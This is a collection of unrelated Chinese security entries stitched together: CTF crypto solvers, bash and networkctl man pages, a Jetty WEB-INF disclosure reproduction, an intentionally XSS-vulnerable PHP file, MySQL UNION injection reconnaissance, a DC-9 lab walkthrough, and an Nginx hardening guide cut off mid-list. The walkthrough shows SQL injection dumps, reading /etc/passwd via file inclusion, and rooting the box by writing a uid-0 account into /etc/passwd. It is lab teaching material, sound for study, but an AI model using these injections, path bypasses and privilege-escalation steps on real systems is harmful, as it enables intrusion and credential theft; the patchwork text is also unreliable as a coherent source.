BCryptDecrypt(local_48[0],encrypted_buffer,encrypted_buffer_size,(void *)0x0 ,(PUCHAR)pbIV,local_res18[0],(PUCHAR)0x0,0,local_res20,1); if (-1 < NVar1) { pbOutput = (undefined (*) [16])ExAllocatePoolWithTag(1); FUN_00011c00(pbOutput,0,(ulonglong)local_res20[0]); if (pbOutput != (undefined (*) [16])0x0) { BCryptDecrypt(local_48[0],encrypted_buffer,encrypted_buffer_size,(void *)0x0, (PUCHAR)pbIV,local_res18[0],(PUCHAR)pbOutput,local_res20[0], local_res20,1); } } } } } } } } } if (local_50 != (BCRYPT_ALG_HANDLE)0x0) { BCryptCloseAlgorithmProvider(local_50,0); } if (local_48[0] != (BCRYPT_KEY_HANDLE)0x0) { BCryptDestroyKey(local_48[0]); } if (pbKeyObject != (undefined (*) [16])0x0) { ExFreePoolWithTag(pbKeyObject,0xaabbccdd); } if (pbIV != (undefined (*) [16])0x0) { ExFreePoolWithTag(pbIV,0xaabbccdd); } return pbOutput; } ``` We can "port" it to C: <details> <summary>C Code</summary> ```c #include <stdio.h> #define WIN32_NO_STATUS #include <windows.h> #undef WIN32_NO_STATUS #include <winternl.h> #include <ntstatus.h> #include <winerror.h> #include <stdio.h> #include <bcrypt.h> #include <sal.h> #pragma comment(lib, "bcrypt.lib") #define SECRET "whothefuckisalice" void ReportError( _In_ DWORD dwErrCode ) { wprintf(L"Error: 0x%08x (%d)\n", dwErrCode, dwErrCode); } int main() { NTSTATUS Status; BCRYPT_ALG_HANDLE AesAlgHandle = NULL; SIZE_T NumberOfBytes = 0; PUCHAR KeyObject = NULL; SIZE_T Size; BCRYPT_KEY_HANDLE KeyHandle = NULL; UCHAR secret[32] = { 0 }; DWORD PlainTextLength = 0; PUCHAR PlainText = NULL; memset(secret, 0, sizeof(secret)); strncpy_s(secret, sizeof(SECRET), SECRET, sizeof(secret)); BYTE IV[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F }; BYTE CipherText[] = { 0x74, 0xF8, 0x14, 0x89, 0x7D, 0x5A, 0xC9, 0xC0, 0x53, 0x01, 0xFD, 0x99, 0x22, 0xC3, 0xAC, 0x84, 0xFD, 0xFB, 0x43, 0x12, 0xFF, 0x39, 0xAB, 0x49, 0xEE, 0x39, 0xE5, 0x80, 0xC1, 0xF5, 0x16, 0x0C }; Status = BCryptOpenAlgorithmProvider( &AesAlgHandle, // Alg Handle pointer BCRYPT_AES_ALGORITHM, // Cryptographic Algorithm name (null terminated unicode string) NULL, // Provider name; if null, the default provider is loaded 0); // Flags if (!NT_SUCCESS(Status)) { ReportError(Status); goto cleanup; } Status = BCryptGetProperty( AesAlgHandle, // Handle to a CNG object BCRYPT_OBJECT_LENGTH, // Property name (null terminated unicode string) (PBYTE)&NumberOfBytes, // Addr of the output buffer which recieves the property value sizeof(NumberOfBytes), // Size of the buffer in the bytes (char*)&NumberOfBytes + 4, // Number of bytes that were copied into the buffer 0); // Flags if (!NT_SUCCESS(Status)) { ReportError(Status); goto cleanup; } KeyObject = malloc((unsigned int)NumberOfBytes); Status = BCryptGetProperty( AesAlgHandle, // Handle to a CNG object BCRYPT_BLOCK_LENGTH, // Property name (null terminated unicode string) (PBYTE)&Size, // Addr of the output buffer which recieves the property value sizeof(NumberOfBytes), // Size of the buffer in the bytes (char*)&NumberOfBytes + 4, // Number of bytes that were copied into the buffer 0); // Flags if (!NT_SUCCESS(Status)) { ReportError(Status); goto cleanup; } Status = BCryptSetProperty( AesAlgHandle, // Handle to a CNG object BCRYPT_CHAINING_MODE, // Property name(null terminated unicode string) BCRYPT_CHAIN_MODE_CBC, // Address of the buffer that contains the new property value 32, // Size of the buffer in bytes 0); // Flags if (!NT_SUCCESS(Status)) { ReportError(Status); goto cleanup; } Status = BCryptGenerateSymmetricKey( AesAlgHandle, // Algorithm provider handle &KeyHandle, // A pointer to key handle KeyObject, // A pointer to the buffer that recieves the key object;NULL implies memory is allocated and freed by the function (unsigned int)NumberOfBytes, // Size of the buffer in bytes (PBYTE)secret, // A pointer to a buffer that contains the key material 32, // Size of the buffer in bytes 0); // Flags if (!NT_SUCCESS(Status)) { ReportError(Status); goto cleanup; } Status = BCryptDecrypt( KeyHandle, // Handle to a key which is used to encrypt CipherText, // Address of the buffer that contains the ciphertext sizeof(CipherText), // Size of the buffer in bytes NULL, // A pointer to padding info, used with asymmetric and authenticated encryption; else set to NULL IV, // Address of the buffer that contains the IV. sizeof(IV), // Size of the IV buffer in bytes NULL, // Address of the buffer the recieves the plaintext 0, // Size of the buffer in bytes &PlainTextLength, // Variable that recieves number of bytes copied to plaintext buffer BCRYPT_BLOCK_PADDING); // Flags; Block padding allows to pad data to the next block size if (!NT_SUCCESS(Status)) { ReportError(Status); goto cleanup; } PlainText = malloc(PlainTextLength); Status = BCryptDecrypt( KeyHandle, // Handle to a key which is used to encrypt CipherText, // Address of the buffer that contains the ciphertext sizeof(CipherText), // Size of the buffer in bytes NULL, // A pointer to padding info, used with asymmetric and authenticated encryption; else set to NULL IV, // Address of the buffer that contains the IV. sizeof(IV), // Size of the IV buffer in bytes PlainText, // Address of the buffer the recieves the plaintext PlainTextLength, // Size of the buffer in bytes &PlainTextLength, // Variable that recieves number of bytes copied to plaintext buffer BCRYPT_BLOCK_PADDING); // Flags; Block padding allows to pad data to the next block size if (!NT_SUCCESS(Status)) { ReportError(Status); goto cleanup; } printf("PlainText: %s", PlainText); cleanup: if (AesAlgHandle != NULL) { BCryptCloseAlgorithmProvider(AesAlgHandle, 0); } if (KeyHandle != NULL) { BCryptDestroyKey(KeyHandle); } if (KeyObject != NULL) { free(KeyObject); } if (PlainText != NULL) { free(PlainText); } } ```` </details> Or just decrypt it with Python: ```python >>> AES.new(b'whothefuckisalice'.ljust(32, b'\0'), AES.MODE_CBC, b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f').decrypt(b'\x74\xf8\x14\x89\x7d\x5a\xc9\xc0\x53\x01\xfd\x99\x22\xc3\xac\x84\xfd\xfb\x43\x12\xff\x39\xab\x49\xee\x39\xe5\x80\xc1\xf5\x16\x0c').decode() 'INTENT{0ff_w1th_7h31r_H34ds}\x00\x03\x03\x03' ```
sec-knowleage
alias === 定义或显示别名。 ## 概要 ```shell alias [-p] [name[=value] ...] ``` ## 主要用途 - 简化较长的命令。 - 定义、修改或者显示一个或多个别名。 ## 选项 ```shell -p:显示全部已定义的别名。 name(可选):指定要(定义、修改、显示)的别名。 value(可选):别名的值。 ``` ### 返回值 alias 返回 true 除非您要显示的别名未定义。 ## 例子 ```shell # 显示全部已定义的别名 alias alias -p # 显示已定义的别名(假设当前环境存在以下别名) alias ls alias ls grep # 定义或修改别名的值 alias ls='ls --color=auto' alias ls='ls --color=never' grep='grep --color=never' ``` ## 知识点 直接在shell里设定的命令别名,在终端关闭或者系统重新启动后都会失效,如何才能永久有效呢? 使用编辑器打开`~/.bashrc`,在文件中加入别名设置,如:alias rm='rm -i',保存后执行`source ~/.bashrc`,这样就可以永久保存命令的别名了。 因为修改的是当前用户目录下的`~/.bashrc`文件,所以这样的方式只对当前用户有用。如果要对所有用户都有效,修改`/etc/bashrc`文件就可以了。 > 请注意,以下内容可能与您实际使用的系统有出入: > > 在CentOS7下,这个文件是`/etc/bash.bashrc`。此外在CentOS7下,细看`~/.bashrc`文件,会发现有这样一段代码: > > ```shell > if [ -f ~/.bash_aliases ]; then > . ~/.bash_aliases > fi > ``` > > 这个代码的意思就是如果存在那么就加载`.bash_aliases`文件,所以也可以在用户根目录下新建该文件用于单独存放命令别名设置。 ## 错误用法 - 要显示的别名未定义。 - 当您定义(修改)别名的值的时候,由于值的字符串有空格但您没有用**单引号扩起**,那么会导致严重的问题: ```shell # 为方便演示,删除全部别名 unalias -a # 没有用单引号扩起 alias rm=rm -rf # 执行命令后报错 bash: alias: -rf: not found # 这时使用alias查看rm的别名时返回 alias rm='rm' ``` ```shell # 更具有迷惑性的例子 # 为方便演示,删除全部别名 unalias -a # 仍然没有用单引号括起 alias ls=ls --color=never # 执行命令后看起来没有报错 # 使用alias查看全部别名会发现运行结果如下: # alias --color=never # alias ls='ls' # alias处理时将它们看成了两组 ``` ## Q&A Q:如果我要显示一到多个别名,但不知道其中是否有未定义的该怎么办? A:正常执行就是了,alias不会因为有一个未定义的别名就结束对剩余参数的执行。 Q:如果我这么定义`alias cd='ls' ls='cd'`,会有什么后果? A:运行cd依然会切换目录,运行ls依然会列出文件夹的内容;不要这样定义。 ### 注意 1. 执行脚本时请注意: - 使用 `source` 命令执行的bash脚本如果执行了 `alias` 或 `unalias` 命令,那么有可能会对终端环境的别名设置产生影响;终端环境的别名设置也可能改变运行结果; - 通过 `sh` 方式调用的 bash 脚本或直接运行当前用户有执行权限的脚本不受终端环境的别名影响。 2. 删除别名,请查看`unalias`命令。 3. 建议您不要对 `mv cp rm` 等命令的别名设置危险的 `-f` 选项,比如 `alias rm='rm -f'`。 4. 需要注意别名是否和其他命令有冲突的情况。 5. 该命令是 bash 内建命令,相关的帮助信息请查看 `help` 命令。 ### 其他参考链接 - [alias(1p) - Linux manual page](https://man7.org/linux/man-pages/man1/alias.1p.html) - [Linux命令详解:\[8\]alias创建自己的命令](https://jingyan.baidu.com/article/ac6a9a5e6738422b653eac01.html)
sec-knowleage
# Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-28164) Eclipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。 Jetty 9.4.37引入对RFC3986的新实现,而URL编码的`.`字符被排除在URI规范之外,这个行为在RFC中是正确的,但在servlet的实现中导致攻击者可以通过`%2e`来绕过限制,下载WEB-INF目录下的任意文件,导致敏感信息泄露。该漏洞在9.4.39中修复。 参考链接: - https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5 - https://xz.aliyun.com/t/10039 ## 漏洞环境 执行如下命令启动一个Jetty 9.4.37: ``` docker compose up -d ``` 服务启动后,访问`http://your-ip:8080`可以查看到一个example页面。 ## 漏洞复现 直接访问`/WEB-INF/web.xml`将会返回404页面: ![](1.png) 使用`%2e/`来绕过限制下载web.xml: ``` curl -v 'http://192.168.1.162:8080/%2e/WEB-INF/web.xml' ``` ![](2.png)
sec-knowleage
'\" t .TH "NETWORKCTL" "1" "" "systemd 231" "networkctl" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" networkctl \- 查询网络连接的状态 .SH "SYNOPSIS" .HP \w'\fBnetworkctl\fR\ 'u \fBnetworkctl\fR [OPTIONS...] COMMAND [LINK...] .SH "描述" .PP \fBnetworkctl\fR 用于查询 \fBsystemd\-networkd\fR 所看到的网络连接的状态。 参见 \fBsystemd-networkd.service\fR(8) 以了解相关概念、功能、配置语法。 .SH "选项" .PP 能够识别的命令行选项如下: .PP \fB\-a\fR \fB\-\-all\fR .RS 4 显示所有连接的状态(\fBstatus\fR) .RE .PP \fB\-h\fR, \fB\-\-help\fR .RS 4 显示简短的帮助信息并退出。 .RE .PP \fB\-\-version\fR .RS 4 显示简短的版本信息并退出。 .RE .PP \fB\-\-no\-legend\fR .RS 4 不输出列标题, 也就是不在输出列表的头部和尾部显示字段的名称。 .RE .PP \fB\-\-no\-pager\fR .RS 4 不将程序的输出内容管道(pipe)给分页程序。 .RE .SH "命令" .PP 能够识别的命令如下: .PP \fBlist\fR [\fILINK\&.\&.\&.\fR] .RS 4 列出存在的连接及其状态。若未指定连接(LINK)则显示所有连接, 否则仅显示指定的连接。一个典型的输出类似下面这样: .sp .if n \{\ .RS 4 .\} .nf IDX LINK TYPE OPERATIONAL SETUP 1 lo loopback carrier unmanaged 2 eth0 ether routable configured 3 virbr0 ether no\-carrier unmanaged 4 virbr0\-nic ether off unmanaged 4 links listed\&. .fi .if n \{\ .RE .\} .RE .PP \fBstatus\fR [\fILINK\&.\&.\&.\fR] .RS 4 显示连接的各种信息: 类型、状态、内核模块、MAC地址、IP地址、DNS服务器,等等\&...\&... .sp 若未指定连接(LINK)则显示网络状态概览,否则仅显示指定连接的详细信息。 参见 \fB\-\-all\fR 选项。 .sp 一个典型的输出类似下面这样: .sp .if n \{\ .RS 4 .\} .nf ● State: routable Address: 10\&.193\&.76\&.5 on eth0 192\&.168\&.122\&.1 on virbr0 169\&.254\&.190\&.105 on eth0 fe80::5054:aa:bbbb:cccc on eth0 Gateway: 10\&.193\&.11\&.1 (CISCO SYSTEMS, INC\&.) on eth0 DNS: 8\&.8\&.8\&.8 8\&.8\&.4\&.4 .fi .if n \{\ .RE .\} .RE .PP \fBlldp\fR [\fILINK\&.\&.\&.\fR] .RS 4 显示已发现的 LLDP (Link Layer Discovery Protocol) 邻居。 若未指定连接(LINK)则显示所有连接上发现的邻居,否则仅显示指定连接上发现的邻居。 注意,此命令仅在开启了 \fILLDP=\fR 的情况下才有意义。参见 \fBsystemd.network\fR(5) 以了解详情。 .sp 一个典型的输出类似下面这样: .sp .if n \{\ .RS 4 .\} .nf LINK CHASSIS ID SYSTEM NAME CAPS PORT ID PORT DESCRIPTION enp0s25 00:e0:4c:00:00:00 GS1900 \&.\&.b\&.\&.\&.\&.\&.\&.\&.\&. 2 Port #2 Capability Flags: o \- Other; p \- Repeater; b \- Bridge; w \- WLAN Access Point; r \- Router; t \- Telephone; d \- DOCSIS cable device; a \- Station; c \- Customer VLAN; s \- Service VLAN, m \- Two\-port MAC Relay (TPMR) 1 neighbors listed\&. .fi .if n \{\ .RE .\} .RE .SH "退出状态" .PP 返回值为 0 表示成功, 非零返回值表示失败代码。 .SH "参见" .PP \fBsystemd-networkd.service\fR(8), \fBsystemd.network\fR(5), \fBsystemd.netdev\fR(5) .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
<?php header("Content-Type: text/html; charset=utf-8"); echo "Hello, \n"; echo "Your name is <strong>" . (isset($_GET['name']) ? $_GET['name'] : 'Vulhub') . '</strong>';
sec-knowleage
#include "twofish.h" #include <cstdio> #include <cstdint> #include <cstring> #include "dump" TwofishKey key; uint32_t raw[] = { 0x0C01A4D6E, 0x0A4CB6636, 0x5B0F5BA1, 0x2B266926, 0x0EF75CB8F, 0x0A037222A, 0x0BA69619A, 0x60798932, 0x26EA859, 0x0F1315893, 0x8B5933A6, 0x0E72BAC67, 0x1ACC8904, 0x2E48D1EF, 0x3F21D5AB, 0x69335A1F, 0x0BE8368F0, 0x0F1F784C3, 0x18204990, 0x18CEA168, 0x33969157, 0x21EBF147, 0x0FA7AF872, 0x0ABE6BE6C, 0x514E617E, 0x0EC773FC2, 0x0C618C36A, 0x0F9CEF7A4, 0x75DCB301, 0x0AEE18C7A, 0x24F22669, 0x9ADB355F, 0x774EE123, 0x0C8F434A0, 0x0F47E97EF, 0x43797DF7, 0x0F6E46A45, 0x5B780D5, 0x0E3E1BF40, 0x54DD7532, }; unsigned char expected[] = "\x4F\x6F\xA7\x87\xE9\x51\x87\x64\x38\x2A\x46\xE5\x4F\x21\x9E\x1C" "\xCD\x65\xE1\x9A\x4F\xCF\xDE\x52\x09\xBF\x53\xC4\xB0\x95\x75\x31" "\xAC\x2F\xF4\x97\x1D\xA5\x9A\x02\xA8\xFF\xAE\x2E\xB9\x70\xCC\x02"; unsigned char output[100]; void xr(unsigned char* a, unsigned char* b){ for (int i = 0; i < 16; i++) { a[i] ^= b[i]; } } int main() { memcpy(key.s, words, sizeof(words)); memcpy(key.K, raw, sizeof(raw)); Twofish two; two.Decrypt(&key, expected, output); printf("hitcon{%s", output); two.Decrypt(&key, expected+16, output+16); xr(output+16, expected); printf("%s", output+16); two.Decrypt(&key, expected+32, output+32); xr(output+32, expected+16); printf("%s}\n", output+32); }
sec-knowleage
# 0x00 版本收集与路径 识别数据库版本有助于我们进一步对数据库进行注入我们可以用到 `version()` `@@version` `/*!版本号*/` `/*!*/` 意为在xxx版本之上执行 我的版本是5.6所以可以执行 ``` mysql> SELECT * FROM admin WHERE id = 1 union select 1,version(),3; +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | admin | admin | | 1 | 5.6.30-1 | 3 | +------+----------+----------+ 2 rows in set (0.00 sec) mysql> SELECT * FROM admin WHERE id = 1 union select 1,@@version,3; +------+----------+----------+ | id | username | password | +------+----------+----------+ | 1 | admin | admin | | 1 | 5.6.30-1 | 3 | +------+----------+----------+ 2 rows in set (0.01 sec) mysql> SELECT * FROM admin WHERE id = 1 union select 1,/*!40000 user()*/,3; +------+----------------+----------+ | id | username | password | +------+----------------+----------+ | 1 | admin | admin | | 1 | root@localhost | 3 | +------+----------------+----------+ 2 rows in set (0.00 sec) ``` 路径的话一般用`@@datadir`就可以了然后大概反猜下网站路径 操作系统 `@@version_compile_os` # 0x01 用户,链接信息 `system_user() ` //系统用户名 `user() ` // 用户名 `current_user()` //当前用户名 `session_user()` //链接数据库的用户名 ``` mysql> select * from users where id =1 union select system_user(),session_user(),current_user(); +--------------------+--------------------+----------+ | id | username | password | +--------------------+--------------------+----------+ | 1 | Dumb | Dumb | | root@192.168.1.101 | root@192.168.1.101 | root@% | +--------------------+--------------------+----------+ 2 rows in set (0.00 sec) ``` 读取host与user ``` mysql> select * from users where id =1 union select 1,host,user from mysql.user; +----+-----------+----------+ | id | username | password | +----+-----------+----------+ | 1 | Dumb | Dumb | | 1 | % | root | | 1 | 127.0.0.1 | root | | 1 | ::1 | root | | 1 | localhost | root | +----+-----------+----------+ 5 rows in set (0.00 sec) ``` # 0x02 文末 通过以上信息还能大概判断下是不是站库分离之类的 #### 本文如有错误,请及时提醒,避免误导他人 * author:404
sec-knowleage
# DC9-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶机地址** - https://www.vulnhub.com/entry/dc-9,412/ **Description** DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. The ultimate goal of this challenge is to get root and to read the one and only flag. Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools. For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward. **Technical Information** DC-9 is a VirtualBox VM built on Debian 64 bit, but there shouldn't be any issues running it on most PCs. DC-9 has been tested successfully on VMWare Player, but if there are any issues running this VM in VMware, have a read through of this. It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP. Installation is simple - download it, unzip it, and then import it into VirtualBox or VMWare and away you go. **知识点** - knock 服务 **实验环境** `环境仅供参考` - VMware® Workstation 15 Pro - 15.0.0 build-10134415 - kali : NAT 模式,192.168.141.134 - 靶机 : NAT 模式 --- # 前期-信息收集 开始进行 IP 探活 ```bash nmap -sP 192.168.141.0/24 ``` 排除法,去掉自己、宿主机、网关, `192.168.141.143` 就是目标了 扫描开放端口 ```bash nmap -T5 -A -v -p- 192.168.141.143 ``` web 和 ssh,不多说了,从 web 开始 --- # 中期-漏洞利用 发现一个搜索框,抓个包另存为 1.txt,sqlmap 跑跑看有没有 POST 注入 ``` sqlmap -r 1.txt ``` 运气挺好,直接拖库 ```bash sqlmap -r 1.txt --dbs sqlmap -r 1.txt -D Staff --dump sqlmap -r 1.txt -D users --dump ``` Staff 库跑出了个 hash `856f5de590ef37314e7c3bdf6f8a66dc` transorbital1 ,users 库跑出了一堆账号密码 登录试试,使用 admin transorbital1 ,可以登录,users 库里的一堆账号密码不行 最底下提示 `File does not exist`,可能有文件包含,但是没有任何参数,估计要 Fuzz 参数了,和 DC5 一样,准备好字典,burp 跑起来 参数 `file` 和 DC5 一样 看看 passwd 看到了熟悉的用户,刚刚 mysql 中 dump 的就有这些用户,试试 SSH 能不能直接登录 ``` marym 3kfs86sfd julied 468sfdfsd2 fredf 4sfd87sfd1 barneyr RocksOff tomc TC&TheBoyz jerrym B8m#48sd wilmaf Pebbles bettyr BamBam01 chandlerb UrAG0D! joeyt Passw0rd rachelg yN72#dsd rossg ILoveRachel monicag 3248dsds7s phoebeb smellycats scoots YR3BVxxxw87 janitor Ilovepeepee janitor2 Hawaii-Five-0 ``` 什么鬼,怎么连不上去,google 了半天,原来是用一个叫 knock 服务保护 SSH,按特定的访问端口才可以访问服务,淦,找一下 knock 的配置文件吧. `http://192.168.141.143/manage.php?file=../../../../etc/knockd.conf` 开门,社区送温暖 ```bash for x in 7469 8475 9842; do nmap -Pn --max-retries 0 -p $x 192.168.141.143; done nmap -T5 -A -v -p- 192.168.141.143 ``` ok,开了,连接试试 试出3个账号可以连接 ``` chandlerb UrAG0D! joeyt Passw0rd janitor Ilovepeepee ``` --- # 后期-提权 挨个登录,在 joeyt home 目录下发现了个隐藏目录 普京的密码 (作者你认真的嘛?🤣) ```bash ls -la ``` 拿这个密码表在测一次 SSH ``` BamBam01 Passw0rd smellycats P0Lic#10-4 B4-Tru3-001 4uGU5T-NiGHts ``` 跑出一个新用户,登录看能不能提权 ``` fredf B4-Tru3-001 ``` ```bash sudo -l ``` 看看 `/opt/devstuff/dist/test/test` 是啥 ```bash cd /opt/devstuff/dist/test/ type test ``` 一个二进制文件,运行提示我 test.py 找一下 test.py ```bash cd /tmp find / -name test.py > a.txt cat a.txt ``` 2个 test.py,不过我估计 `/opt/devstuff/test.py` 才是我们需要的 ```bash cat /opt/devstuff/test.py ``` 看起来是 test 的源码,功能是添加输入到目标的最后 那么接下来就简单了,直接向 passwd 文件中写用户,或直接向 sudo 配置文件写 ALL 都是可以提权的 ```bash echo 'test:sXuCKi7k3Xh/s:0:0::/root:/bin/bash' > /tmp/test cd /opt/devstuff/dist/test/ sudo ./test /tmp/test /etc/passwd su test Password: toor cd /root ls cat theflag.txt ``` 提权成功,感谢作者 @DCUA7 制作的 DC 系列靶机
sec-knowleage
# b00tl3gRSA3 Cryptography, 450 points ## Description: > Why use p and q when I can use more? ## Solution: This challenge is similar to last year's [Super Safe RSA 3](/2018_picoCTF/Super%20Safe%20RSA%203.md). Last year we used [an online service](https://www.alpertron.com.ar/ECM.HTM) to factorize `n`, and had to copy the result manually to our script. This year we'll provide a fully automated solution (using either the [FactorDB](http://factordb.com/api/index.php?query=123) [Python API](https://github.com/ryosan-470/factordb-pycli) or [YAFU](https://sourceforge.net/projects/yafu/)). ```python from pwn import * import functools import gmpy2 import re class FactorizationWrapper(object): def __init__(self, verbose = False): self.verbose = verbose self.factor_functions = [] def _print(self, msg): if self.verbose: print msg @classmethod def _factordb_factor_list(cls, num): from factordb.factordb import FactorDB f = FactorDB(num) if f.connect().status_code != 200: raise Exception("Can't connect") status = f.get_status() if status == 'C': raise Exception("Composite, no factors known") elif status == 'P' or status == 'Prp': raise Exception("Prime or probably prime") elif status == 'CF': raise Exception("Composite, factors known") elif status == 'FF': # Composite, fully factored result = f.get_factor_list() return result else: raise Exception("Unexpected status: '{}'".format(status)) @classmethod def _yafu_factor_list(cls, num): import subprocess try: with open('/dev/null') as devnull: output = subprocess.check_output( ["yafu", "factor({})".format(num)], stderr=devnull) result = [] if "***factors found***" not in output: raise Exception("Factors not found") for line in output.splitlines(): match = re.search(r'^P[\d]+\s=\s([\d]+)$', line) if match: result.append(int(match.group(1))) elif re.match(r'^C[\d]+\s=\s([\d]+)$', line): raise Exception("Composite number found") return result except: raise def get_factor_list(self, num): functions = {"FactorDB": self._factordb_factor_list, "YAFU": self._yafu_factor_list} for engine, function in functions.items(): try: res = function(num) self._print("{} found {} factors".format(engine, len(res))) assert(num == reduce(lambda x, y: x * y, res)) return res except: self._print("{} failed, error = {}".format(engine, str(e))) raise Exception("Can't find factor list") args = {} r = remote("2019shell1.picoctf.com", 45122) output = r.recvall() for line in output.split("\n"): line = line.rstrip() if line != "": var_name, var_value = line.split(": ") args[var_name] = int(var_value) log.info("{}: {}".format(var_name, var_value)) assert('c' in args) assert('n' in args) assert('e' in args) factors = FactorizationWrapper().get_factor_list(args['n']) log.info("factors: {}".format(factors)) phi_n = 1 for i in range(len(factors)): phi_n *= (factors[i] - 1) log.info("phi_n: {}".format(phi_n)) d = gmpy2.invert(args['e'], phi_n) log.info("d: {}".format(d)) plaintext = pow(args['c'], d, args['n']) log.info("plaintext: {}".format(str(plaintext))) plaintext_decoded = (format(plaintext, 'x')).decode("hex") log.success("Flag: {}".format(plaintext_decoded)) ``` Output: ``` root@kali:/media/sf_CTFs/pico/b00tl3gRSA3# python solve.py [+] Opening connection to 2019shell1.picoctf.com on port 45122: Done [+] Receiving all data: Done (703B) [*] Closed connection to 2019shell1.picoctf.com port 45122 [*] c: 2119596483582558480583929659164309083296660442838854968468759928450353346297950871181143180716588952234498810113225169410718136242100409285815716755217693534767226132381024632868961033843749108040758183809500760771427677425657433392478512746836236199961443235703574582372712785398185681080705839658430626639368029475166150632444902109452965798 [*] n: 3672464541648239369227217909364198602719180450540051030110460920213922520849808202127087033512632253320345577574894749232930157121564026701599179431818977806524931182803454664976110867812150776157861188489120752987953472318021253967490594518158670003474778638352965323617178267413359412650997652695798964583048530279735817175448628179108047701 [*] e: 65537 [*] factors: [10438103437, 8876550257, 14571618619, 9420392389, 12231531233, 13428635837, 10300611119, 16377790381, 12181725953, 9537930719, 14189030617, 15192969613, 16684859311, 16368342083, 13620022499, 8597216993, 9652490711, 11484109213, 9005703103, 15153984289, 12174300283, 9225912887, 10553881621, 11444035081, 15366336439, 15079064467, 16647469627, 11875342261, 10673013397, 10998953323, 10597722019, 8621804209, 8697999641, 14833004983] [*] phi_n: 3672464530906332488432082249165216851377847923651297590278024508373963363528659179894961129609641707593597322229333347449561947088457884177661713010595676672203892210858490176841374908093136240739934097469984024153766471267503685210882917632086523432305165922649096576946475880711321709723247437882748283364393023156793255184761188515840000000 [*] d: 204757394997203700394141149861142596928981435113322877075177404421906131350744169603982299580292518722965723414651022347386962397748220223464240037546982659569907413193721456676051450542019314641556970751717680459249930360124181237477549796720084175681570353866667666999747056900974556774474665273411389404664420199504441070618389350090473473 [*] plaintext: 13016382529449106065933618925167173598170118383294989999418819014052201555703933 [+] Flag: picoCTF{too_many_fact0rs_8024768} ``` Note: The prebuilt YAFU crashed with a `Segmentation Fault` on my machine (Kali), so I used a version compiled from the sources. Applied the following patch to `factor_common.c` in order to have YAFU reach a deeper refactor depth (I suppose the alternative is to call the program recursively for each number that couldn't be factorized to primes within 3 levels): ``` 1158c1158 < if (fobj->refactor_depth > 20) --- > if (fobj->refactor_depth > 3) ```
sec-knowleage
原文 by wooyun zhangsan ## 0x00 测试环境 操作系统:CentOS6.5 Web服务器:Nginx1.4.6 Php版本:Php5.4.26 ## 0x01 Nginx介绍 nginx本身不能处理PHP,它只是个web服务器,当接收到请求后,如果是php请求,则发给php解释器处理,并把结果返回给客户端。nginx一般是把请求发fastcgi管理进程处理,fastcgi管理进程选择cgi子进程处理结果并返回被nginx。 nginx涉及到两个账户,一个是nginx的运行账户,一个是php-fpm的运行账户。如果访问的是一个静态文件,则只需要nginx的运行账户对文件具有读取权限;而如果访问的是一个php文件,则首先需要nginx的运行账户对文件有读取权限,读取到文件后发现是一个php文件,则转发给php-fpm,此时则需要php-fpm账户对文件具有读取权限。 ## 0x02 研究发现的结论 1. linux下,要读取一个文件,首先需要具有对文件所在文件夹的执行权限,然后需要对文件的读取权限。 2. php文件的执行不需要文件的执行权限,只需要nginx和php-fpm运行账户的读取权限。 3. 上传木马后,能不能列出一个文件夹的内容,跟php-fpm的运行账户对文件夹的读取权限有关。 4. 木马执行命令的权限跟php-fpm的账户权限有关。 5. 如果木马要执行命令,需要php-fpm的账户对相应的sh有执行权限。 6. 要读取一个文件夹内的文件,是不需要对文件夹有读取权限的,只需要对文件夹有执行权限。 ## 0x03 Nginx服务器涉及到的安全配置 1. Nginx.conf的配置 2. php-fpm.conf的配置 3. nginx和php-fpm的运行账户对磁盘的权限配置 4. Php.ini的配置 ## 0x04 常见需要配置的操作方法 1. 禁止一个目录的访问 示例:禁止访问path目录 ``` location ^~ /path { deny all; } ``` 可以把path换成实际需要的目录,目录path后是否带有"/",带“/”会禁止访问该目录和该目录下所有文件。不带"/"的情况就有些复杂了,只要目录开头匹配上那个关键字就会禁止;注意要放在fastcgi配置之前。 2. 禁止php文件的访问及执行 示例:去掉单个目录的PHP执行权限 ``` location ~ /attachments/.*\.(php|php5)?$ { deny all; } ``` 示例:去掉多个目录的PHP执行权限 ``` location ~ /(attachments|upload)/.*\.(php|php5)?$ { deny all; } ``` 3. 禁止IP的访问 示例:禁止IP段的写法: `deny 10.0.0.0/24;` 示例:只允许某个IP或某个IP段用户访问,其它的用户全都禁止 ``` allow x.x.x.x; allow 10.0.0.0/24; deny all; ``` ## 0x05 需要解决的常见问题 1. 让木马上传后不能执行 针对上传目录,在nginx配置文件中加入配置,使此目录无法解析php。 2. 让木马执行后看不到非网站目录文件 取消php-fpm运行账户对于其他目录的读取权限。 3. 木马执行后命令不能执行 取消php-fpm账户对于sh的执行权限。 4. 